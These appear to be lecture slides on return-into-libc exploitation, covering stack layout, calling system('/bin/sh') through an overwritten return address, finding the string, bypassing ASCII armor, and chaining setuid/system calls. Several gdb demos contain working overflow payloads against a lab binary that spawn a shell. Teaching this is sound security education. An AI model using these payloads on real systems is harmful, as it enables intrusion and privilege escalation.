Return into libc TOOR - Computer Security

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Introduction

Stack overflows became popular following the release of aleph1's paper in 1996 ("Smashing the stack for fun and profit")

The classic stack overflow attack injects code on the stack and overwrites the return address with the address of the code on the stack.

The non-executable stack was introduced as a defensive measure after stack overflows became popular

Return-into-libc was introduced as a new exploitation technique to overcome the non-executable stack

In general, the focus has shifted towards code re-use attacks.

Overview - What we will cover today

Code re-use techniques:

- Return into libc
- Return oriented programming (on friday)

Today we will look at return into libc:

- Classic return into libc
- Chaining return into libc calls
- %esp lifting

Let's review the C calling convention.

Before making a call, the caller pushes the arguments on the stack.

It then executes a call instruction, passing control over to the called function.

What does the call stack look like right after the call instruction?

			0(%esp)	4(%esp)
			old eip	ср

%ebp contains the beginning of the old stack frame

The prologue usually sets up %ebp (and pushes the old one).

After the prologue the call stack looks like this:

		0(%ebp)	4(%ebp)	8(%ebp)	12(%ebp)
		old ebp	old eip	arg1	arg2

%ebp remains constant throughout the function, and we can reference the passed arguments via:

arg1: 8(%ebp)

arg2: 12(%ebp)

arg3: 16(%ebp)

and so on

Before epilogue:



```
leave # movl %ebp,%esp; esp = ebp;
# popl %ebp; ebp = *esp; esp += 4;
```

Now %ebp contains the old EBP value (from the stack)

Call stack right before ret:

 _			0(%esp)	4(%esp)	8(%esp)
			old eip	arg1	arg2

What happens if the overwrite the return address with the code address of an existing function?

The prologue sets up %ebp based on the current %esp

```
push %ebp
mov %esp,%ebp
```

		0(%ebp)	4(%ebp)	8(%ebp)	12(%ebp)
		old ebp	old eip	arg1	arg2

Then it expects its arguments to be:

arg1: 8(%ebp)arg2: 12(%ebp)

arg3: 16(%ebp)

and so on



The C library is memory mapped into each process and contains many interesting functions, e.g. system, execve, execl, etc.

One approach:

- Find an interesting function in the C library
- Prepare arguments on the stack
- Overwrite return address with the address of a libc function

Assumption: libc is mapped at a known fixed address in memory

Let's look at system(). It takes a single parameter, a pointer to a string, and executes it as a shell command

Example: system("/bin/sh")

Right before ret, we want our stack to look like this:

			0(%esp)	4(%esp)	8(%esp)
			old eip	arg1	arg2
			&system	AAAA	pointer to "/bin/sh"

Why do we put AAAA there in between?

We jumped into system() via ret — not call call pushes the return address (%eip + 1) onto the stack ret does not push the EIP. So we need to adjust for that.

As a result, when we enter system() and finish the prologue, the stack looks like this:

			0(%ebp)	4(%ebp)	8(%ebp)
			old ebp	arg1 "old eip"	arg2
				AAAA	pointer to "/bin/sh"

Next problem: how can we locate a "/bin/sh" string?

Problem: how can we get an address to a "/bin/sh" string?


Few approaches:

- Place it in a buffer on the stack and guess the address
- Locate "/bin/sh" at a fixed memory address
- Re-use a pointer from the stack (depends on the program)

Problem: how can we locate a "/bin/sh" string?

First approach:

Place it in a buffer on the stack and guess the address



Assumptions:

- Non-randomized stack
- Requires control over a buffer on the stack
- (We can place it in ENV if we have local access.)
- Must guess the address exactly (or do we?)



Demo

```
$ export EXEC=$(perl -e 'print "/" x 1024 . "/bin/sh"')
$ gdb ./overflow2
. . .
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb7790 <system>
(gdb) p/x getenv("EXEC")
$3 = 0xbffff605
(gdb) run $(perl -e 'print "A" x 1575')
         "$(perl -e 'print
             \xff\xff\xff\xff\xff\ # old ebp
           . "\x90\x77\xeb\xb7"
                                    # retaddr, system()
           . "BBBB"
                                    # new retaddr
           . \x05\xf6\xff\xbf"')" # ptr to \xff\xbf"
Starting program: ...
U WRAITES 1610 BAITES
sh-3.2$
```

Problem: how can we locate a "/bin/sh" string?

Second approach:

Locate "/bin/sh" at a fixed memory address

Our assumption is that libc is mapped at a known fixed address

Why not look for "/bin/sh" in libc?

```
$ ./findshell # look for "/bin/sh" in libc
found shell at 0xb7fb8593
$ gdb ./overflow2
...
(gdb) x/s 0xb7fb8593
0xb7fb8593: "/bin/sh"
(gdb)
```

Demo

Assumption: libc is mapped at a given fixed address

Within libc we have:

```
system() at fixed address 0xb7eb7790
```

"/bin/sh" at fixed address 0xb7fb8593

Problem: how can we locate a "/bin/sh" string?

Third approach:

Re-use a pointer from the stack (depends on the program)

Let's take an example – overflow2 from shell-lab.

We had an overflow in the following function:

```
void lolcat(char *arg, char *meow)
```

Let's look at the stack right before ret in lolcat():

			0(%esp)	4(%esp)	8(%esp)
			old eip	arg	meow

Any ideas?

Problem: how can we locate a "/bin/sh" string?

Third approach:

Re-use a pointer from the stack (depends on the program)


Let's only overwrite the return address, no more.

Call stack right before ret from lolcat:

			0(%esp)	4(%esp)	8(%esp)
			old eip	arg	meow
			&system		

Demo

Call stack right before ret from lolcat:



```
Starting program: ...
U WRAITES 1602 BAITES
sh-3.2$
```

ASCII armor

Remember: strcpy() stops copying when it encounters \0

One defensive mechanism against return-to-libc is to include a null-byte in all libc addresses (so called "ASCII armor")

On skel, all libc addresses start with a null-byte:

```
(gdb) p system
$1 = {<text variable>} 0x0076b5b0 <system>
```

What can we do now?


			0(%esp)	4(%esp)	8(%esp)
			old eip	arg	meow
	-		&system		

ASCII armor

```
(gdb) p system
$1 = {<text variable>} 0x0076b5b0 <system>
```

On little-endian (x86) systems the address will be stored as:

b0 b5 76 00



U WRAITES 1617 BAITES sh-4.1\$



Chaining

We might need to make more than one call to exploit the program

Example: setuid(0); system("/bin/sh");

How can we chain calls into libc?

Because both setuid() and system() expect just one argument we could chain them like this:

		0(%esp)	4(%esp)	8(%esp)	12(%esp)	
		&setuid	&system	setuid arg	system arg	

Chaining

A more general method is to use %esp lifting.

We locate instructions in the code that manipulates the stack and returns, e.g.

```
pop %ebx
pop %ebp
ret
```

Then we arrange the stack as follows:

0(%esp)	4(%esp)	8(%esp)	12(%esp)	16(%esp)	20(%esp)
&setuid	retaddr	0	&system	&exit	"/bin/sh"

What sequence of instructions would we want to execute when we jump to retaddr1 and retaddr2?

Questions

Questions?